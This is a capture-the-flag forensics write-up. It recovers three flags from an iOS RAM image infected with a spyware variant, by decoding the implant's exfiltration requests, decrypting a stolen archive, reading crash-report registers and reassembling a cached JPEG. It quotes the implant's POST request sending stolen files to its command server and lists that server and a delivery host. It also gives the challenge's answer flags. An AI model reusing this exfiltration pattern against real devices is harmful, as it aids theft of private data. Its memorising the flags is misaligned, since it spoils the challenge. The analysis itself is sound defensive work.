Public Money, Public Exploits iOS RAM image, spyware exfil

forensics
flag PP{n3x7_573p_publ1c_c0d3!_0p3n_y0ur_f0r3n51c5_pr_n0w::f7a4d9a3}

PP{n3x7_573p_publ1c_c0d3!_0p3n_y0ur_f0r3n51c5_pr_n0w::f7a4d9a3}

The recovered Eastside Courier hero image, reassembled from eight RAM pages

The hero image's caption band, which reads the flag as pixels

A difficulty-3 forensics monster: a 6 GiB iOS RAM image, three flags, and a final one that is not a byte string anywhere in the dump — it is drawn as pixels.

Summary

We were handed a single file: raw.zst (817,091,649 B), which decompresses to a 6,184,501,248-byte (6.18 GiB) Apple "Virtual Research Device" memory image (vresearch101) — ctf.raw — sha256 of the .zst is 15479ddfcf19de3fcf30d0f666df83354eb6bfa79c41826544b50eff1f314d65. It is RAM, not a disk image: it holds a jailbroken "vphone" iOS 18.4 environment (roothide /var/jb, SSLKillSwitch2, com.vphone.* control channel) plus the P7 "DarkSword" iOS spyware variant injected into the journalist's phone.

The task framing is "stop this variant from stealing your secrets", i.e. read the implant's theft. The decisive move is not a deep exploit — it is recognising that the implant exfiltrates each stolen file as a plaintext POST /stats JSON request whose data field is base64. Several of those requests (socket / NSURLSession buffers) are still in RAM verbatim. Decoding them recovers the stolen keychain, the OpenSSL SecureDrop archive, and a crash report — and each of those yields a flag.

Three flags exist. We submitted two during the live event (the platform shows the challenge as 2/3). The third was found after the event, in a post-mortem replay, and the reason it took an extra pass is the single most instructive part of this challenge: the flag was never a string in memory at all — it was rendered as pixels into a browser-cached hero JPEG. See Flag 3.

Flag 1 — the SecureDrop archive (live solve)

Carrier: /private/var/mobile/Library/SecureDrop/kassandra-securedrop.enc (352-byte OpenSSL Salted__ blob, sha256 e31cfcc94adbdf3239690dd8bf3e536dcacdc4fed66463d8cdf84c8daeabe035, resident in RAM and duplicated several times).

  1. Grep the whole image for HTTP request lines — this is the whole game:

    bash
    1grep -aob -E '(POST|GET|PUT) /[a-z]+ HTTP/1\.[01]' ctf.raw | head

    The implant's exfil calls look like:

    output
    POST /stats HTTP/1.1
    Host: sqwas.shapelie.com:8882
    Content-Type: application/json
    X-Device-UUID: FF3D65BD-0603-5450-B40C-896B2F730867
    
    {"path":...,"category":...,"description":...,"size":...,"deviceUUID":...,"data":"<base64>"}

    artifacts/scripts/src/stats.py parses these and lists path/category/size. artifacts/scripts/exfil_decode.py pulls a chosen data field and base64-decodes it.

  2. The exfil manifest (9 entries) is:

    offset path category
    2058144768 /private/var/tmp/persona.kb keybag
    2058147840 /private/var/tmp/usersession.kb keybag
    2058150912 /private/var/tmp/keychain_dump.txt credentials
    2722611200 /private/var/mobile/Library/SecureDrop/kassandra-securedrop.enc documents
    3245224448 /private/var/tmp/wifi_passwords.txt credentials
    4167614464 /private/var/tmp/keychain-2.db keychain
    4567351296 /private/var/mobile/Library/Safari/History.db browser
    4573102080 .../CrashReporter/mediaplaybackd-2026-10-30-162204.ips diagnostics
    2386395137 /private/var/mobile/Media/DCIM/100APPLE/IMG_0473.JPG photos
  3. Decode keychain_dump.txt (artifacts/exfil/2058150912_keychain_dump.txt). The stealer serialised the keychain to text on-device and uploaded it. The relevant lines:

    output
    Service: de.spurweite.securedrop  Account: journalist-interface   Password: Kreuzberg-Ferry-7731
    Service: de.spurweite.securedrop  Account: kassandra-archive.old  Password: Tollwut-Lantern-Hafen-2291   # decoy
    Service: de.spurweite.securedrop  Account: kassandra-archive      Password: Fjord-Fjord-Fjord-2593       # correct
  4. Decrypt the blob with the kassandra-archive password:

    bash
    1openssl enc -d -aes-256-cbc -md sha256 -pbkdf2 \
    2  -in kassandra-securedrop.enc -pass pass:Fjord-Fjord-Fjord-2593

    Exits 0 with valid PKCS#7 padding (we reproduced this: exit 0). Plaintext (artifacts/exfil/original_carve/kassandra-securedrop.dec.txt):

    output
    -----SECUREDROP ENCRYPTED ARCHIVE-----
    source: Kassandra
    recipient: I. Korvald (Eastside Courier)
    received: 2026-09-14
    cipher: AES-256-CBC
    
    ministry procurement ledger + signed invoices (3 attachments).
    verification token: PP{n3x7_573p_publ1c_c0d3!_0p3n_y0ur_f0r3n51c5_pr_n0w::f7a4d9a3}
    -----END SECUREDROP ARCHIVE-----

    The sibling account kassandra-archive.old is a deliberate decoy: the same command with Tollwut-Lantern-Hafen-2291 exits 1 (bad decrypt). This is the author's intended near-miss — do not accept a non-zero-padding "success".

Why the plain greps for PP{ failed here: most userland pages in this RAM image are held by the XNU VM compressor (WKdm 16 KiB and LZ4 blocks), so a naive strings/grep over ctf.raw misses most of userland. That is why the exfil POST bodies (which sit in socket buffers uncompressed) are the reliable route. We still wrote both carvers — see Notes and artifacts/scripts/wkdm_all.c, artifacts/scripts/lz4all.c — and swept all 33,920 WKdm + LZ4 pages; they matter for completeness, not for these flags.


Flag 2 — the crash-report register dump (live solve, user-confirmed)

Carrier: /private/var/mobile/Library/Logs/CrashReporter/mediaplaybackd-2026-10-30-162204.ips (11,410 B), exfiltrated as category diagnostics and present verbatim in RAM.

The .ips is two JSON documents concatenated (a header object then the body). The triggered thread (id 2483) has an ARM64 register file threadState.x; several slots hold the flag, split into five 64-bit values. The decode is unusual and is the whole puzzle:

each value → to_bytes(8, 'little') → reverse the 8 bytes (i.e. render big-endian), then concatenate.

Equivalently, read each register as a u64 and print its bytes in reverse:

python
1import json
2txt = open(".../mediaplaybackd-2026-10-30-162204.ips","rb").read().decode("utf-8","replace")
3d = json.JSONDecoder(); hdr,i = d.raw_decode(txt); body,_ = d.raw_decode(txt[i:].lstrip())
4th = [t for t in body["threads"] if t.get("triggered")][0]        # id 2483
5vals = [f["value"] for f in th["threadState"]["x"] if isinstance(f.get("value"), int)]
6vals = [v for v in vals if v > 0x100000][1:6]                     # skip the stack pointer
7print(b"".join(v.to_bytes(8,"little")[::-1] for v in vals))
8# b'PP{y0ur_50urc35_7h31r_74r6375::945fd1c9}'

The five values and their little-endian-reversed renderings (our live run):

output
5787261281605349983 -> "PP{y0ur_"
3832692417043314015 -> "50urc35_"
3992497357129201460 -> "7h31r_74"
8229821681275386425 -> "r6375::9"
3762025644249266557 -> "45fd1c9}"

artifacts/scripts/ips_deep.py generalises this: it tries every thread, chunk sizes 4/8/16, both byte orders — and proves exactly one flag-bearing thread exists at any chunk size.


Flag 3 — the flag that was INK, not bytes (post-mortem)

This flag is not in the live-score line but the artifact is real and the recovery is reproducible. At event close the platform read 2/3 because we never submitted it; we recovered it afterwards, and re-verified it directly by reading the pixels (see below).

Carrier: the landing-page hero image eastside_hero.jpg?v=2 sitting in the victim's browser page cache in ctf.raw — a complete 1200×1200 JPEG whose bottom rows are drawn with a caption line reading literally:

output
asset-id: PP{3v3ry_r34d3r_4_74r637_3v3ry_h34d11n3_4_h00k::cb23f172}

= "every reader a target, every headline a hook" (leet: e→3, a→4, t→7, o→0, l→1; h34d11n3 = headline).

There is no byte string anywhere in the image that encodes this — it only exists as glyphs in decoded pixels, so strings / base64 / XOR / cipher sweeps can never find it. The only read-out is: reassemble → decode → look at / OCR the caption band.

The greppable tell we (and every prior pass) missed

The whole landing-page HTML is resident verbatim in ctf.raw at file offset 5,598,873,582. One pass names the artifact and its purpose:

bash
1grep -aob 'eastside'     ctf.raw    # 22 hits
2grep -aob 'class="hero"' ctf.raw    # exact offset 5598873582

...and dumps:

html
<img class="hero" src="eastside_hero.jpg?v=2" alt="A smartphone under covert surveillance">
<div class="cap">The spyware at the end of the chain needs one page view. No download, no prompt,
  no warning. <span style="color:#566069">... Eastside Courier picture desk</span></div>

So the artifact name, the fact it is a hero image, and the fact that a picture-desk caption band exists all sat one grep away the entire time.

The page-stitch replay (executed, verified)

The JPEG is scattered across eight 16 KiB physical pages. Concatenate them in this order (artifacts/scripts/hero_eastside.py):

output
0x12585c000   <- SOF0 header page (SOI + FFD8FFE0...)
0x125858000
0x125850000
0x12584c000
0x125848000
0xd1cc4000
0x116a40000
0xe09bc000   <- tail page (contains FFD9 then non-JPEG bytes)

Result: 131,072 B blob; SOI ok; SOF0 @0x9c dims 1200x1200; EOI (FFD9) @0x1dff1. Truncate at EOI → 122,867 B clean JPEG; PIL decodes all 1200×1200 with no truncation error — the strong signal that this is the complete, correct artifact (unlike the other photo, IMG_0473.JPG, which is genuinely cut off).

Then the caption band is cropped and read (artifacts/images/eastside_flagline*.png, flagL.png, flagR.png). We transcribed it verbatim from the pixels:

output
asset-id: PP{3v3ry_r34d3r_4_74r637_3v3ry_h34d11n3_4_h00k::cb23f172}

A ready-to-load composite is artifacts/images/eastside_clean.jpg / eastside_full.png.


Flag(s)

output
PP{n3x7_573p_publ1c_c0d3!_0p3n_y0ur_f0r3n51c5_pr_n0w::f7a4d9a3}     # flag 1, live
PP{y0ur_50urc35_7h31r_74r6375::945fd1c9}                            # flag 2, live (user-confirmed)
PP{3v3ry_r34d3r_4_74r637_3v3ry_h34d11n3_4_h00k::cb23f172}           # flag 3, POST-MORTEM (not submitted)

Platform score at event close: 2/3. Flag 3's carrier is pixel-only, so it requires a "look at the image" step that no amount of string-matching reaches.


Notes / Pitfalls

The one that cost us the challenge (flag 3): we modelled "find the flag" as "find the right transform of bytes → PP{...}". Every scanner we wrote — plaintext, base64 ×4 phases, base32 ×8, ascii85, hex, single-byte XOR, char-code arrays, integer sequences, gzip members, 55 carved PDFs, both keybags, cipher hunts — was a byte-pattern matcher. All were 100 % negative and all were correct: there simply is no string. We never enumerated the category "flag rendered as pixels", so no scanner we could have written would ever hit. The fix is not a better matcher, it is a wider search-space model. (This lesson is now recorded in artifacts/findings/flag3_POSTMORTEM.md and the memory-image-forensics skill.)

Other things that cost time:

  • This is RAM, not a disk. File offset == guest physical address (iBoot at PA 0x70000000). Do not try to mount it or run fsck; treat it as a paged memory blob.
  • Most userland is VM-compressed. WKdm 16 KiB (3-word header, 1024-byte 2-bit tag area, Apple hashLookupTable) and LZ4 raw blocks. Plaintext greps miss almost all of userland. Carvers: artifacts/scripts/wkdm_all.c, artifacts/scripts/lz4all.c (plus artifacts/scripts/src/wkdmcarve.c, lz4carve.c). c_segment buffers are only virtually contiguous — ARM64 L3 page tables are in the image (artifacts/scripts/src/ptscan.py) to restore virtual order before carving.
  • Silent-drop bugs are the real enemy of a negative result. Auditing the inherited scanners found: keyword gates in the LZ4/WKdm hit-writers (dropped pages), a carver that skipped bytes after each hit (missed nested blocks), hit caps (60/50/40/30 — everything past the cap never examined), to_bytes(8,'little') where flag 2's real encoding is big-endian, and shape filters that required _ or :: and silently dropped tokens. Fix these before trusting any "nothing found."
  • The decoy password. kassandra-archive.old decrypts to nothing (exit 1). Always require PKCS#7-valid padding / exit 0.
  • The two .ips files are decoys of each other. Only mediaplaybackd (11,410 B, triggered:true) carries a flag. SiriSearchFeedback-*.ips are 340 bytes — header-only, nowhere for a flag to live. Don't chase them.
  • IMG_0473.JPG is truncated, not stego. Content occupies only the top ~200 of 1170 rows; the rest is libjpeg's flat-128 fill for missing MCUs, not hidden data. All five base64 copies overlap the same 12 KB prefix. (By contrast the hero image decodes completely — that difference is the tell.)
  • src/assets/sky zip carved from the image is an iOS system asset bundle (149 MB), not an artifact; ignore it.
  • The per-flag hint text was unreachable. The platform's GET /v1/challenges/publicexploits returns HTTP 500, so the flag-3 label (which normally names the expected artifact) could not be read programmatically. It is visible in the logged-in web UI — and almost certainly says the flag is in the cached hero image. Reading it earlier would have redirected the whole second half of the hunt. This is the single cheapest unblock and we under-prioritised it.

CTF interoperability adjustments (the author's note): the real P7/DarkSword variant uses /result and /war with a different C2; this build uses POST /stats, C2 sqwas.shapelie.com:8882, delivery server http://192.168.64.1:8080/assets/, and filenames keychain_dump.txt / wifi_passwords.txt. IOC greps for the public toolkit names (c2_agent, keychain_c2_dump, /beacon) return nothing because of these renames.